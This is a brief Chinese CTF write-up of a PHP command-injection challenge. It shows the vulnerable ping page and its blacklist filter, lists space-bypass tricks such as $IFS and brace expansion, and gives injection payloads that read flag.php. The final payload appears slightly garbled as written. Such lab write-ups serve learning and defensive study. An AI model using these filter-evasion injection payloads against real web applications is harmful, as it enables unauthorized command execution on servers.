
和上一道题可能是相同的
/?ip=123;ls

查看flag.php

提示应该是需要绕过 空格
$IFS
${IFS}
$IFS$1 //1 改 成 1改成1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
通过 /?ip=123;1;cat$IFSflag.php  绕过空格,但是出现其他信息
/?ip=
fxck your flag!
还需要绕过 flag。
看看 index.php
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\\&|\\/|\\?|\\*|\\<|[\\x{00}-\\x{1f}]|\\>|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match)){
    echo preg_match("/\\&|\\/|\\?|\\*|\\<|[\\x{00}-\\x{20}]|\\>|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>
那么需要做的就是如何绕过输入对应 flag
/?ip=123;1;cat$IFSls``
得到flag
